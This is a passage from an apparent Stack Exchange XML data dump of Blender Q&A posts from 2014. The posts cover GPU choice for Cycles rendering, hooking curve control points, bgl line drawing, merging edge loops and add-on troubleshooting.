noreferrer&quot;&gt;CUDA&lt;/a&gt; and is provided by NVIDIA only.&#xA;A single system designed for Cycles should be focused on maximum number of shaders kernels (CUDA cores) on the GPU. When you use shaders written in &lt;a href=&quot;https://code.google.com/p/openshadinglanguage/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSL&lt;/a&gt; the scene can only be rendered on the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nvidia model numbers start with a digit for the generation 5,6,7 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; oldest    540 &amp;lt; 550 &amp;lt; 560 &amp;lt; 570 &amp;lt; 580 (fastest, 512 CUDA cores)&#xA;           640 &amp;lt; 650 &amp;lt; 660 &amp;lt; 670 &amp;lt; 680 (fastest, 1536 CUDA cores)&#xA; newest    740 &amp;lt; 750 &amp;lt; 760 &amp;lt; 770 &amp;lt; 780 &amp;lt; 780Ti (fastest, 2880 CUDA cores)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could find something like 590, this means AFAIK the two 580's have been connected.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;GPU RAM&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you use many big textures the RAM of a 1.5GiB card could be the limiting factor more is better.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;CPU&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Baking, preparation of the scene is calculated only by the CPU. According to the benchmarks I guess Intel is to prefer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i3 2 Cores (slowest)&#xA;i5 4 Cores &#xA;i7 4 Cores + Hyper-threading (fastest) Hyper-Threating adds approx. 10-20% of performance.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Server CPU&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A Xeon-CPUs an E3-1231-v3 (4-cores) costs a bit more than an i5 but comes with Hyper-threading. . There also costly CPUs like E5 available Depending on the motherboard you can add 2 of them (Socket 2011) having hexa(6), octa(8) or deca(10) cores (plus hypertheading which adds ~10% performance) but they cost &gt; 1.250$ (Sep. 2014).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;System RAM&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should start at 8GiB, 16GiB would be suitable for most use cases.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Realated Resources&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=r-6sr6vM6II&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cycles performance benchmark - more CPU cores vs higher clock frequency benchmark&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderguru.com/articles/proof-that-cycles-is-getting-faster-speed-comparisons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles versions speed comparision&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some numbers from my machines for Mike Pan's BMW:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender v2.71&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i5-3470@3.2 GHz 02:50.00&#xA;CUDA GeForce GTX 660 Ti 01:12.65&#xA;&#xA;Xeon E3-1231@3.4 GHz 01:36.48&#xA;CUDA GeForce GTX 580 01:08.23&#xA;&#xA;i7-2630QM@2.0 GHz 03:39.96&#xA;CUDA GeForce GTX 560M 03.00.87&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You find a lot more results at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mad-creations.nl/blenchmark/benchmarks-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blenchmark benchmarks-overview&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2014-09-16T21:25:06.813" CommentCount="0" CommunityOwnedDate="2014-08-06T06:45:54.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="14760" PostTypeId="1" AcceptedAnswerId="14763" CreationDate="2014-08-06T07:01:42.090" Score="2" ViewCount="2017" Body="&lt;p&gt;I have a robot neck connected to its head. The neck is just a cylinder with array and curve modifiers. I'm using AnimAll (which is awesome) to animate the neck, but it's a pain to keep the spot where the neck and head connect seamless. At a glance, I would like to parent the control point that meets the head to the head itself, but I don't see a way to do that. Can that work, or is there another way to achieve the same goal?&lt;/p&gt;&#xA;" OwnerUserId="3326" LastActivityDate="2019-03-01T10:12:33.513" Title="Is it possible to assign a parent to a control point of a curve using animall?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14761" PostTypeId="2" ParentId="14751" CreationDate="2014-08-06T07:53:09.363" Score="2" Body="&lt;p&gt;&lt;code&gt;export_threejs.py&lt;/code&gt; is only part of an addon, you need all of files or it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender/2.65/scripts/addons/io_mesh_threejs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender/2.65/scripts/addons/io_mesh_threejs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;__init__.py&lt;/code&gt; is crucial, because it contains the &lt;code&gt;bl_info&lt;/code&gt; dict to make it a Blender addon, and it loads the other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;...\scripts\addons\&lt;/code&gt; folder, there needs to be a subfolder (e.g. called &lt;code&gt;io_mesh_threejs&lt;/code&gt;) with all 3 files of the addon inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use Blender's Addon &lt;em&gt;Install from file...&lt;/em&gt; feature for addons with multiple files, the mentioned folder with the scripts (&lt;code&gt;io_mesh_threejs&lt;/code&gt;) needs to be zipped and you select that zip-file.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-06T07:53:09.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14762" PostTypeId="2" ParentId="14755" CreationDate="2014-08-06T08:24:56.917" Score="3" Body="&lt;p&gt;Yes, independed from the web technology stack you're using on the server side you can invoke Blender from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot; rel=&quot;nofollow&quot;&gt;command line&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file.blend -a -x 1 --render-output &amp;lt;path&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should do the job. See the link above for a complete description of all available parameters. Note that Blender itself doesn't provide a HTTP server therefore you would need to make the rendered image available to your server (probably by simply copying the file or direct rendering into the web server's image resources directory).&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-08-06T08:33:41.167" LastActivityDate="2014-08-06T08:33:41.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14763" PostTypeId="2" ParentId="14760" CreationDate="2014-08-06T09:05:47.887" Score="5" Body="&lt;p&gt;I am not sure how this works with the AnimaAll addon but the way I would approach this is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the control point of the curve in edit mode that you would like to attach to the head.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to 'Hook' the control point, choose 'Hook to New Object'.&lt;/li&gt;&#xA;&lt;li&gt;A new empty will have appeared that the control point will be parented to via the hook modifier that was just added. Parent this empty to the head in object mode by &lt;kbd&gt;Shift&lt;/kbd&gt; selecting the empty and then the head and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; and choose 'Object' as the parenting type.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The control point is parented (via the hook modifier) to the empty and the empty is parented to the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook modifier can also be added by manually choosing to add a new hook modifier to the curve like you would add any other modifier.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-06T09:05:47.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14764" PostTypeId="1" AcceptedAnswerId="16380" CreationDate="2014-08-06T11:16:13.703" Score="1" ViewCount="468" Body="&lt;p&gt;I have a blender scene with several overlapping identical objects. Is there a simple way to determine and export visible faces given a specific viewpoint. &#xA;That is, i want to use Blender for hidden surface removal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a better way to do this, with some other tool, please share as well.&lt;/p&gt;&#xA;" OwnerUserId="5500" LastEditorUserId="599" LastEditDate="2014-10-03T01:54:20.110" LastActivityDate="2014-10-03T01:54:20.110" Title="Hidden surface removal" Tags="&lt;python&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14765" PostTypeId="1" AcceptedAnswerId="16580" CreationDate="2014-08-06T11:23:13.620" Score="7" ViewCount="2392" Body="&lt;p&gt;Is it possible to get access to the blender interactive python shell from a terminal? I know I can start a python script with the the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what i want is to get the actual shell that i can type in the terminal something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.active_object.mode&#xA;'OBJECT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get the result immediatly like in the normal python interactive shell&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2015-12-13T14:58:15.040" Title="Access blender interactive python shell from terminal" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14766" PostTypeId="1" AcceptedAnswerId="14771" CreationDate="2014-08-06T11:38:04.813" Score="2" ViewCount="1707" Body="&lt;p&gt;I've got problem with my animation. I've got a sword in my scene, but I somehow animated it so that its handle starts falling down when I play through the timeline, and I don't know how to delete this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZfBb.png&quot; alt=&quot;.&quot;&gt;&#xA;Look at the picture, there's some orange line at timeline bar - that's what I want delete.&lt;/p&gt;&#xA;" OwnerDisplayName="user3123" LastEditorUserId="2217" LastEditDate="2014-08-06T14:53:24.973" LastActivityDate="2014-08-06T14:53:24.973" Title="How to delete recorded position of mesh on animation timeline?" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14768" PostTypeId="2" ParentId="14766" CreationDate="2014-08-06T12:44:04.600" Score="0" Body="&lt;p&gt;Select the frame where the line, called a keyframe, is(the name of the object, in the bottom left corner, will become yellow) and press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-08-06T12:44:04.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14770" PostTypeId="1" AcceptedAnswerId="14773" CreationDate="2014-08-06T14:15:47.120" Score="3" ViewCount="2050" Body="&lt;p&gt;I want do draw a line from one point to another using the blender opengl functions provided in bgl. Both points are in world coordinate system. I found a function in &lt;code&gt;bpy_extras.object_utils&lt;/code&gt; called &lt;code&gt;world_to_camera_view&lt;/code&gt; which needs a scene, a camera and a Vector of the point as a parameter. &#xA;I can get the scene from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but how do I get the viewport camera? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: What I want to do is, to write a modal operator which lets the user move, rotate and zoom the camera in the viewport and the lines between the points in the viewport are drawn correctly. Its just an operator to learn drawing with bgl.&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="241" LastEditDate="2016-06-05T14:49:59.080" LastActivityDate="2016-06-05T14:49:59.080" Title="How do I get a python reference to the viewport camera?" Tags="&lt;python&gt;&lt;3d-view&gt;&lt;camera&gt;&lt;scene&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ClosedDate="2014-08-08T07:08:34.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="14771" PostTypeId="2" ParentId="14766" CreationDate="2014-08-06T14:49:22.467" Score="3" Body="&lt;p&gt;You set the handle as a &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;rigid body&lt;/a&gt;. The yellow line in the timeline shows you how much of the physics Simulation is cached. To delete the rigid body and all of the motion calculated from it Select the handle, then in the &lt;em&gt;physics&lt;/em&gt; tab of the tool bar press remove.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bplRK.png&quot; alt=&quot;physics tab&quot;&gt;&lt;br&gt;&#xA;You can also get to the physics settings in the &lt;em&gt;physics&lt;/em&gt; tab of the properties window.  &lt;img src=&quot;https://i.stack.imgur.com/zjE5X.png&quot; alt=&quot;properties window&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-08-06T14:49:22.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14772" PostTypeId="2" ParentId="14743" CreationDate="2014-08-06T15:41:59.333" Score="4" Body="&lt;p&gt;There are some key differences that make fly mode better in some situations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Motions are smoother turning and changing direction are not instant, this may be nicer for recording camera animations.&lt;/li&gt;&#xA;&lt;li&gt;Speed is handled in a relative manner, so you dont have a fixed speed, it means you can naturally navigate large scenes or a small room in a large scene.&lt;/li&gt;&#xA;&lt;li&gt;Some controls are different, MMB pans for example.&lt;/li&gt;&#xA;&lt;li&gt;Walk mode isn't compatible with absolute pointing devices, eg - tablets.&lt;/li&gt;&#xA;&lt;li&gt;Walk mode uses fixed horizon angle, fly mode allows navigation in all directions with optional z-up alignment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-06T19:29:56.673" LastActivityDate="2014-08-06T19:29:56.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14773" PostTypeId="2" ParentId="14770" CreationDate="2014-08-06T15:47:55.473" Score="6" Body="&lt;p&gt;If you use &lt;code&gt;'PRE_VIEW'&lt;/code&gt; or &lt;code&gt;'POST_VIEW'&lt;/code&gt; as draw handler type, you will be in world space and can draw straight ahead. If you want to draw on top of everything (&quot;X-Ray&quot;), then calculate the 2d region coordinates and use &lt;code&gt;'POST_PIXEL'&lt;/code&gt; - there is a utility function for the conversion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a quick example that draws a line between 3D cursor and active object origin, using &lt;code&gt;'POST_VIEW'&lt;/code&gt;, which will consider depth of other objects (&lt;code&gt;'PRE_VIEW'&lt;/code&gt; would draw under everything else):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    ob = context.object&#xA;    if ob is None:&#xA;        return&#xA;&#xA;    font_id = 0  # XXX, need to find out how best to get this.&#xA;&#xA;    # draw some text&#xA;    blf.position(font_id, 15, 30, 0)&#xA;    blf.size(font_id, 20, 72)&#xA;    blf.draw(font_id, ob.name)&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 1.0, 1.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex3f(*ob.matrix_world.translation)&#xA;    bgl.glVertex3f(*context.scene.cursor_location)&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;&#xA;            self.mouse_path = []&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            bpy.ops.view3d.modal_operator({'area': area}, 'INVOKE_DEFAULT')&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-06T15:47:55.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14774" PostTypeId="1" AcceptedAnswerId="14783" CreationDate="2014-08-06T16:09:05.800" Score="31" ViewCount="60280" Body="&lt;p&gt;This is a Q&amp;amp;A so I answer it myself. I searched for an answer to this question for ages and didn't find anything so I'll add this here if anybody else struggles with the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I merge two edge loops to one? I do not want to connect them (I have seen many answers that suggest to just bridge the edge loops), nor do I want to merge each vertex by hand. I just want each vertex to be merged with the closest opposing vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I find it highly unpractical and in most situations useless to remove doubles after moving the vertices to overlap each other by scaling and moving the edge loops. This is another common suggested answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TedAd.png&quot; alt=&quot;An example situation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5503" LastEditorUserId="5503" LastEditDate="2014-08-06T16:42:59.527" LastActivityDate="2019-10-20T14:56:38.640" Title="How to merge two edge loops" Tags="&lt;modeling&gt;&lt;selection-tools&gt;&lt;edges&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14775" PostTypeId="2" ParentId="14774" CreationDate="2014-08-06T16:09:05.800" Score="7" Body="&lt;p&gt;Both of the solutions below work even when the edge loops are already connected and you just want to merge them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Solution 1&lt;/b&gt; works only if the amount of vertices in both loops is exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select vertices in both edge loops (*)&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;em&gt;Bridge Edge Loops&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;On the bottom of the toolbar (press &lt;kbd&gt;T&lt;/kbd&gt; if not visible), enable &lt;em&gt;Merge&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Solution 2&lt;/b&gt; is easier if the edge loops have an equal vertex count. If edge loops are already connected, skip the steps 1 and 2.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select vertices in both edge loops (*)&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;em&gt;Bridge Edge Loops&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;If there are only quads between the edge loops (vertex counts match), select one of the edges between the edge loops, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;em&gt;Edge Rings&lt;/em&gt;. If there are any triangles, manually select the edges between those vertices that you want to be merged together (see the image below).&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; and select &lt;em&gt;Collapse&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RJwx.png&quot; alt=&quot;Edge selecting example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) To select all vertices in an edge loop, first select a single edge from it. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;em&gt;Edge Loops&lt;/em&gt;. This works as long as the vertices in your loop don't have more than 4 edges connected to them.&lt;/p&gt;&#xA;" OwnerUserId="5503" LastEditorUserId="241" LastEditDate="2016-07-05T17:08:33.730" LastActivityDate="2016-07-05T17:08:33.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14776" PostTypeId="1" CreationDate="2014-08-06T16:09:29.643" Score="1" ViewCount="1154" Body="&lt;p&gt;I'm new to Blender, and I'm finding that it's a very powerful tool so far. At the moment, I'm trying to enable an add-on called Chart Graphics Generator. However, it produces this error whenever I try to enable it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError: '_RestrictContext' object has no attribute 'scene'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source:&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?230533-Bar-Graph-O-Matic-piechart-help-please/page2&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?230533-Bar-Graph-O-Matic-piechart-help-please/page2&lt;/a&gt;&lt;br&gt;&#xA;&lt;em&gt;(The attached blend file in the very last post on the thread linked)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated the Add-on: Precise-Align, but the error still persists. I found out that's it's due to an intentional deprecation from Blender with certain restrictions on context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Traceback says the problem is on line 44, in the globals section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pid2 = pi * 0.5&#xA;sce = bpy.context.scene&#xA;obj = bpy.context.object&#xA;boo = bpy.ops.object&#xA;bot = bpy.ops.transform&#xA;suma = 0&#xA;&#xA;&#xA;chartType = '' #not yet used&#xA;negativValueSeen = False&#xA;sizesCVSfile = None&#xA;colnrPKHG = '-1'&#xA;cvs_colums = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I've tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried just running the script in a text box, without trying to use it as an add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This partially works. However, it only shows the data labels of the imported CSV file, without any line charts relating to the values of my own CSV file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line charts that appear on start up relate to the default CSV file the developer wrote the path to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried following the vimeo tutorial video with instructions on how to use it, but the method script just seems to have deprecated methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/43432482&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/43432482&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being relatively new, I don't know how to go about solving this error. I know there must be a new way to write it, but I'm not sure where to start. Can someone please assist me in resolving this error?&lt;/p&gt;&#xA;" OwnerUserId="5504" LastEditorUserId="1363" LastEditDate="2014-08-18T17:58:31.813" LastActivityDate="2014-08-18T17:58:31.813" Title="Chart Graphics Generator Add-On: AttributeError: '_RestrictContext' object has no attribute 'scene'" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-08-19T03:09:15.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="14777" PostTypeId="1" AcceptedAnswerId="14798" CreationDate="2014-08-06T16:24:43.163" Score="1" ViewCount="256" Body="&lt;p&gt;In my VRML file, I have lights switched off. But when I render it in blender (by using the import tool), the lights are switched on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def importLamp_PointLight(node, ancestry):&#xA;    ....&#xA;    # is_on = node.getFieldAsBool('on', True, ancestry) # TODO&#xA;    ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I can see in the code, lamp's &lt;code&gt;is_on&lt;/code&gt; has not been implemented.&#xA;But I need this to work. How can I contribute to the code and make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the this is implemented in &lt;code&gt;bpy.data.lamps&lt;/code&gt;, but it uses C code &lt;code&gt;_bpy imports types&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="241" LastEditDate="2014-08-06T16:53:53.680" LastActivityDate="2014-08-07T10:47:34.407" Title="Switch off the lamp in imported VRML" Tags="&lt;python&gt;&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14778" PostTypeId="2" ParentId="14738" CreationDate="2014-08-06T17:20:53.997" Score="6" Body="&lt;p&gt;I presume the main question here is selecting a root directory with the FileSelector.&lt;/p&gt;&#xA;&lt;p&gt;bpy_extras.io_utils.ExportHelper includes &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.FileSelectParams.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;FileSelectParams&lt;/a&gt;, which when set give the desired functionality.&lt;/p&gt;&#xA;&lt;p&gt;The first attribute to be set is:&#xA;&lt;code&gt;use_filter_folder = True&lt;/code&gt;&#xA;This will filter anything that is not a folder to the user. This also has the added advantage that the path your script gets back is folder.&lt;/p&gt;&#xA;&lt;p&gt;You also need to set a file extension type, even though it is not used. It will cause an error on execution. Possible bug?&#xA;&lt;code&gt;filename_ext = &amp;quot;.&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is based on an for general file import - &lt;a href=&quot;https://blender.stackexchange.com/questions/14572/how-do-i-get-the-filepath-when-i-import-a-file/14574#14574&quot;&gt;How do I get the filepath when I import a file?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Full sample&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.io_utils import ExportHelper&#xA;    &#xA;import os.path&#xA;&#xA;class ExportOperator(bpy.types.Operator, ExportHelper):&#xA;    &amp;quot;&amp;quot;&amp;quot;Operator for setting a directory path.&amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;    #: Name of function for calling the nif export operator.&#xA;    bl_idname = &amp;quot;export_scene.folder&amp;quot;&#xA;&#xA;    #: How the nif import operator is labelled in the user interface.&#xA;    bl_label = &amp;quot;Export to folder&amp;quot;&#xA;&#xA;    filename_ext = &amp;quot;.&amp;quot;&#xA;    use_filter_folder = True&#xA;&#xA;    def execute(self, context):&#xA;        userpath = self.properties.filepath&#xA;        if(!os.path.isdir(userpath)):&#xA;            msg = &amp;quot;Please select a directory not a file\n&amp;quot; + userpath&#xA;            self.report({'WARNING'}, msg)&#xA;&#xA;        #Insert the desired logic here to write to the directory.&#xA;&#xA;        return{'FINISHED'}&#xA;&#xA;def menu_func_import(self, context):&#xA;    self.layout.operator(&#xA;        ExportOperator.bl_idname, text=&amp;quot;Export Scene to folder&amp;quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    